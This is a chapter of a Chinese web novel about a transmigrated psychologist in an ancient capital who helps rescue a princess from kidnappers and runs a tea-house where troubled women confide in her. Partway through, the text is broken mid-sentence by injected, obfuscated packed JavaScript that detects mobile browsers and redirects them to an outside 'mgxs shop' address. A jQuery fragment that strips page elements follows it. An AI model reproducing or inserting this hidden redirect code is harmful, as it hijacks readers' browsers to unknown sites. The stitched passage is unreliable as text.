人群如潮水般分开。
一名身着白衣的公子缓步踱出,看着十七八岁的年纪,身姿高挑纤瘦,他指尖轻转着那柄莹润的玉骨折扇,神色淡漠。
三人眼中皆闪过一丝慌乱。那妇人最先反应过来,强作镇定,冷声道:“我们只是错将她认成自家小姐,何来当街掳人一说!公子是何人?休要多管闲事。”
“在下苏云鹤。”白衣公子声音清朗,“你们所图为何,当真以为我看不出来?既遇到这等强掳民女之恶事,想不管,也不行了。”
听他如此说,三人便知这事恐难善了,已互递眼色,同时向他发难,两名汉子赤手空拳扑向他,妇人则悄然从袖中滑出一把短剑,直刺他心口。
他脚步未动,只微微侧身,避过第一个汉子的拳风,又左手轻抬,两根手指看似随意地在第二个汉子臂上一敲,最后,顺势踢落了妇人手中的短剑。
不过瞬息,三个恶徒已被尽数制住,倒在地上呻吟不止。
苏云鹤不再理会他们,缓步走向那少女和丫鬟:“你们没事吧?”
“公子小心些!”旁边有人急忙提醒,“她们可是‘玉面魔女’,身上带毒的,不可靠近!”
苏云鹤闻言微怔,正待开口询问,一个清冷的女声却先一步响起:“公子,此事还是等官府到了再说为好。”
他循声望去,目光落在韩诗情面上时,心下不由得一荡。韩诗情本就清丽无双,此刻秋日阳光自她身后洒落,淡粉色衣袂微扬,更衬得她如天上的仙子般,不染纤尘。
韩诗情亦在看他,方才只见他出手如行云流水,此刻方看清样貌,竟是平生仅见的清雅俊逸,偏又带着三分淡漠,七分从容,恰似云外孤鹤,自有光华内蕴。
四目相接,只一瞬,便各自错开目光,方才那短暂交汇时的惊艳,均被收进心底。
苏云鹤又回头看了那少女一眼,见少女冲他挤了挤眼睛,心念急转,隐隐明了韩诗情的深意,不由暗赞其急智。他压下眼底讶色,颔首道:“姑娘所言甚是。”
韩诗情见他领会,不再多言。
不多时,衙役闻讯赶来。为首的捕头认出地上三人是官府通缉多时的人牙子团伙,又问清了少女名讳、拿来“玉面魔女”画像与其细细比对一番,真相方才大白。
“误会一场。”捕头拱手道,“这位是荀姑娘,并非什么‘玉面魔女’。”
待到一行人被请至府衙,衙役奉上热茶,少女才缓缓道出原委。
原来她出身名门,家中长辈给她说了门亲事,她不喜欢,便带着丫鬟离家出走,到京城寻亲,不料在街上被那伙人牙子盯上。
“二位仗义出手,荀素雪感激不尽!”少女双手一拱,微笑道谢。这位千金小姐,竟有一副侠女风姿。
苏云鹤闻言摇头,看向韩诗情:“此事我不敢居功。若非韩姑娘聪慧,我到那时,恐怕已来不及。”
韩诗情放下茶盏,声音温和:“不过是些简单的心理博弈罢了。”
“心理博弈?”苏云鹤与荀素雪第一次听到这个说法,异口同声问道。
韩诗情这才想起这是古代,沉思片刻,解释道:“简单说,就是揣摩别人心里的想法。如今的人牙子,有许多是穷凶极恶之徒,听说已杀害了无数条性命。若我当场揭穿他们,乡亲们或许会因害怕而不敢插手。但若说荀姑娘是悬赏百两的逃犯,情况便不同了,既无人敢贸然靠近身上带着毒物的她,又无人舍得放过百两赏金。如此一来,自会围而不放,拖延时间。等到衙役赶来,便能救下人。”
“除此之外,”苏云鹤摸出些门道,试着举一反三,“若在衙门来人之前揭穿荀姑娘并非魔女,乡亲们意识到被骗,吵闹起来,恐怕反给人牙子可乘之机。因此,韩姑娘才拦我。”
“苏公子所言不错。”韩诗情微笑颔首。
荀素雪恍然大悟:“原来如此!韩姑娘真是思虑周全。这便是你说的,揣摩人的心思?不过我的配合也不赖,是不是?”
“那是自然。”韩诗情笑意更浓,“若非郡主机智过人,这戏,也演不了这么好。”
“郡主……?”荀素雪惊讶道,“韩姑娘如何知晓我的身份?”
韩诗情道:“你腰间佩戴的玉佩,是亲王郡主方可佩戴的形制。方才进了衙门,我便瞧出来了。”
原身博闻强识,四艺皆精,在乡里是出了名的才女,虽长居深闺,对簪缨世族的礼制纹章也了如指掌。
荀素雪怔住,下意识摸了摸玉佩,“原以为已经够隐蔽了,韩姑娘好眼力。那便不藏着掖着了,我是宁安侯府的郡主。你今日救我于危难之间,要我如何赏你?”
“我不要郡主的赏赐。若郡主要赏,能否赏赐于今日参与围堵的乡亲?”韩诗情顿了顿,续道,“如此,既全了众人相助之义,也让他们知晓,行善事自有善报。日后若再遇不平事,便更愿挺身而出了。”
听到这里,苏云鹤若有所思,道:“这也是姑娘所说的‘心理博弈’?姑娘能洞察人心,看来对此道极有研究。”
“略知一二。”韩诗情斟酌着词句,“人心如镜,映照万物。喜悦时、恐惧时、愤怒时、算计时,皆会不经意流露于神色、姿态、言语之间。若能细察,便能读懂未言之语,预见未发之事。今日救下郡主,便是利用了众人趋利避害的心理。”
荀素雪听着好奇,“这竟也是门学问?你再细说说。”
“这是一门……研究人心所思、所感、所为的学问。”韩诗情尽量用他们能理解的语言解释,“譬如人为何会恐惧,为何会欢喜,为何会做出某些选择。了解这些,便能更好地理解他人,也理解自己。”
苏云鹤静静听着,握着茶盏的手指不自觉收紧了一瞬。
韩诗情的话还在继续:“我在临街开了间茶室,便是想为心中烦闷无处倾诉的女子,提供一个安心的所在。郡主若有空,便来坐坐,品一盏宁神的花草茶。”
荀素雪连连点头:“我一定去!韩姑娘今日救了我,又让我长了这许多见识,我必要登门道谢。”
说话间,韩诗情注意到苏云鹤的神情有些微妙的变化。
方才还从容平静的他,此刻眉间似笼着一层极淡的阴翳,虽然掩饰得很好,却逃不过她这个专业心理咨询师的眼睛。
那是一闪而过的触动与回避。
韩诗情想,这位苏公子,心里藏着故事。
但她没有问,只是温声道:“苏公子今日仗义出手,也请受我一谢。解忧阁虽只招待女客,公子若有烦闷之处,也可来找我饮茶。”
苏云鹤回过神,恢复了淡然神色:“姑娘客气了,我会去的。”
说这话时,他的目光在韩诗情脸上停留了一瞬,似有深意。
三人又闲谈片刻,待到暮色初临,荀素雪与丫鬟墨蕊便由家中派来的马车接回府中,苏云鹤告辞离去,韩诗情也回到了解忧阁。
她未曾想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202168|197237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到,今日这番风波并未随着郡主回府、公子离去而平息。那位受惊的郡主将此事细细说与闺中密友,不过三两日,这段惊险的际遇,连同解忧阁这个雅致的名字,便在京城传开了。
有人说,解忧阁的韩姑娘生了一双能看透人心的眼睛,去解忧阁坐一坐,喝盏茶,心头压着的石头便能轻几分。
于是,开始有些平民女子鼓起勇气,踏进这扇曾经无人问津的门。
有一位被婆家刻薄对待的媳妇,嫁入夫家五年,因连生两女,被公婆日日责骂。
韩诗情听她哭诉后,没有一味安慰,而是引导她重拾绣花的旧手艺,又悄悄替她揽下绣坊的活计。她头一回凭自己的双手赚到银钱,虽只是微薄的二两,却在家中多了几分底气。
那日婆婆又因她多夹一筷菜摔了碗,她没再垂头认错,只静静放下碗筷,抱起两个女儿回了娘家。
半个月过去,街坊邻里的闲言碎语越来越多,婆婆脸上挂不住了,这才提着点心上门,赔着笑脸说了半晌好话。
她倚在门边,淡淡开口:“要我回去也成。往后,家务事劳烦爹娘和夫君多操持,旁的事就不劳费心了。”
婆婆脸色一僵,又想起街坊那些戳脊梁骨的话,连连点头,再不敢说半个不字。
自此以后,走进解忧阁的女子,也就越发多了起来。
虽有些清贫者只付得起几文钱,但阁中的收支,终于渐渐持平了。
这一日,韩诗情送走一位为女儿婚事愁白了头的母亲,正与杨雨露收拾茶盏,忽闻门外传来清朗的男声:“韩姑娘,好久不见。”
主仆二人循声望去。
只见苏云鹤微笑着立在院门口,身后跟着他的书童苏影。
韩诗情上前半步,福了一礼:“苏公子。”
她将苏云鹤引入前厅,二人一同落座,又唤杨雨露备上温茶,才道:“公子今日前来,所为何事?”
苏云鹤开门见山,温声道:“实不相瞒,在下出身书香世家,家中有一胞姐,已远嫁外乡多年。我每次去探望她时,皆可看出她心绪不安,问她发生了何事,她也不肯说。”
他顿了顿,声音低沉了几分:“去年她染了一场风寒,病中呓语,竟有轻生之意。我多番劝说,收效甚微。上次意外与姑娘相遇,听你说起那门揣摩人心的学问,盼能学得些许,稍解她心结。”
韩诗情静静听着,从他眼中看出一片真挚的忧虑。
他很快续道:“姑娘做这门营生,本就是助人的善举,若姑娘肯容我留在阁中,我愿资以银钱,助解忧阁将善举维持下去。”
资以银钱……
韩诗情心中微动。这确实是目前解忧阁所需要的,但让男子旁观女子倾诉私密心事,于女子隐私有损,甚是不妥。
“苏公子关爱姐姐之心,令人感动。”她缓缓道,“然女子心事,多涉隐私,岂容旁听?此例一开,阁中将再无女子敢踏入半步。”
苏云鹤似乎早有预料,并不强求:“是我思虑不周。若我日常只与书童留在阁中,为你们做些杂事,有客人同意时再来请教,姑娘可否通融?资助之事,依然作数。我只想略学得一二,稍解姐姐烦闷。”
他言辞恳切,理由听来也合乎情理,解忧阁要维持乃至扩大,确需资金。可是……
韩诗情犹豫许久,仍是觉得不合礼节,正欲开口婉拒,却听门外传来轻柔的叩门声。
“韩姑娘今日可在?”